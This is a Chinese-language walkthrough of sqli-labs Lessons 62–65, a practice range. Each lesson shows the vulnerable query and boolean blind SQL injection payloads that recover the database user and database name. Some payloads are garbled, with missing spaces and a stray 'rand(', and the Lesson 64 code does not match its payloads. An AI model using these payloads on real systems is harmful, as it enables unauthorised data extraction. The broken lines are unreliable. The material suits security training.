Lesson-62
该题为单括号单引号get型注入,利用方式包括布尔盲注、时间盲注
id=1'
目标SQL语句如下:
if($_POST['reset']):
setcookie('challenge',' ',time()-3600000);
else:
if($_COOKIE['challenge']):
$sessid=$_COOKIE['challenge'];
else:
$expire =time()+60*60*24*30;
$hash =data($table,$col);
setcookie("challenge", $hash, $expire);
if($_GET['id']):
$id=$_GET['id'];
next_tryy()>=($times+1)
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
iftrue:
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
输出查询信息;
else:
输出报错;
注意:该题与Lesson58的利用方式相同,只不过拼接方式由单引号转为了单括号单引号,同时不再输出数据库报错信息,因此不能使用报错注入,只能使用盲注
使用布尔盲注判断注入点
id=1')--+
查询长度
id=1') and length(user())>13--+ //返回正常界面
id=1')and length(user())>14--+ //返回不同界面
两次结果不同,由此判断长度为 14
查询字符
id=1') and substr(user(),1,1)='r'--+ //返回正常界面
id=1')andleft(user(),1)='r'--+ //left()函数
id=1') and rand(ascii(substr(user(),1,1))=114--+ //ASCII码
id=1') and substr(user(),1,1)='s'--+ //返回不同界面
确定用户名为root@localhost
id=1') and substr(user(),1,14)='root@localhost'--+
以此类推根据返回界面是否不同即可查询数据库名、表名、列名等
id=1') and substr((select database()),1,14)='challenges'--+
手工注入太过繁琐,最后还是需要依赖 sqlmap 等注入工具来拿到最后的 key
Lesson-63
该题为单引号get型注入,利用方式包括布尔盲注、时间盲注
id=1'
目标SQL语句如下:
if($_POST['reset']):
setcookie('challenge',' ',time()-3600000);
else:
if($_COOKIE['challenge']):
$sessid=$_COOKIE['challenge'];
else:
$expire =time()+60*60*24*30;
$hash =data($table,$col);
setcookie("challenge", $hash, $expire);
if($_GET['id']):
$id=$_GET['id'];
next_tryy()>=($times+1)
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
iftrue:
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
输出查询信息;
else:
输出报错;
注意:该题与Lesson62的利用方式相同,只不过拼接方式由单括号单引号转为了单引号
使用布尔盲注判断注入点
id=1'--+
查询长度
id=1' and length(user())>13--+ //返回正常界面
id=1'and length(user())>14--+ //返回不同界面
两次结果不同,由此判断长度为 14
查询字符
id=1' and substr(user(),1,1)='r'--+ //返回正常界面
id=1'andleft(user(),1)='r'--+ //left()函数
id=1' and rand(ascii(substr(user(),1,1))=114--+ //ASCII码
id=1' and substr(user(),1,1)='s'--+ //返回不同界面
确定用户名为root@localhost
id=1' and substr(user(),1,14)='root@localhost'--+
以此类推根据返回界面是否不同即可查询数据库名、表名、列名等
id=1' and substr((select database()),1,14)='challenges'--+
手工注入太过繁琐,最后还是需要依赖 sqlmap 等注入工具来拿到最后的 key
Lesson-64
该题为双括号get型注入,利用方式包括布尔盲注、时间盲注
id=1'
目标SQL语句如下:
if($_POST['reset']):
setcookie('challenge',' ',time()-3600000);
else:
if($_COOKIE['challenge']):
$sessid=$_COOKIE['challenge'];
else:
$expire =time()+60*60*24*30;
$hash =data($table,$col);
setcookie("challenge", $hash, $expire);
if($_GET['id']):
$id=$_GET['id'];
next_tryy()>=($times+1)
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
iftrue:
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
输出查询信息;
else:
输出报错;
注意:该题与Lesson62的利用方式相同,只不过拼接方式由单括号单引号转为了双括号
使用布尔盲注判断注入点
id=1))--+
查询长度
id=1))and length(user())>13--+ //返回正常界面
id=1))and length(user())>14--+ //返回不同界面
两次结果不同,由此判断长度为 14
查询字符
id=1))and substr(user(),1,1)='r'--+ //返回正常界面
id=1))andleft(user(),1)='r'--+ //left()函数
id=1))and rand(ascii(substr(user(),1,1))=114--+ //ASCII码
id=1))and substr(user(),1,1)='s'--+ //返回不同界面
确定用户名为root@localhost
id=1))and substr(user(),1,14)='root@localhost'--+
以此类推根据返回界面是否不同即可查询数据库名、表名、列名等
id=1))and substr((selectdatabase()),1,14)='challenges'--+
手工注入太过繁琐,最后还是需要依赖 sqlmap 等注入工具来拿到最后的 key
Lesson-65
该题为单括号双引号get型注入,利用方式包括布尔盲注、时间盲注
id=1'
目标SQL语句如下:
if($_POST['reset']):
setcookie('challenge',' ',time()-3600000);
else:
if($_COOKIE['challenge']):
$sessid=$_COOKIE['challenge'];
else:
$expire =time()+60*60*24*30;
$hash =data($table,$col);
setcookie("challenge", $hash, $expire);
if($_GET['id']):
$id=$_GET['id'];
$id ='"'.$id.'"';
next_tryy()>=($times+1)
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
iftrue:
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
输出查询信息;
else:
输出报错;
注意:该题与Lesson62的利用方式相同,只不过拼接方式由单括号单引号转为了单括号双引号
使用布尔盲注判断注入点
id=1")--+
查询长度
id=1") and length(user())>13--+ //返回正常界面
id=1")and length(user())>14--+ //返回不同界面
两次结果不同,由此判断长度为 14
查询字符
id=1") and substr(user(),1,1)='r'--+ //返回正常界面
id=1")andleft(user(),1)='r'--+ //left()函数
id=1") and rand(ascii(substr(user(),1,1))=114--+ //ASCII码
id=1") and substr(user(),1,1)='s'--+ //返回不同界面
确定用户名为root@localhost
id=1") and substr(user(),1,14)='root@localhost'--+
以此类推根据返回界面是否不同即可查询数据库名、表名、列名等
id=1") and substr((select database()),1,14)='challenges'--+
手工注入太过繁琐,最后还是需要依赖 sqlmap 等注入工具来拿到最后的 key
0x02 总结
该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 WAF、编码限制,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。至此,sql注入靶场完结。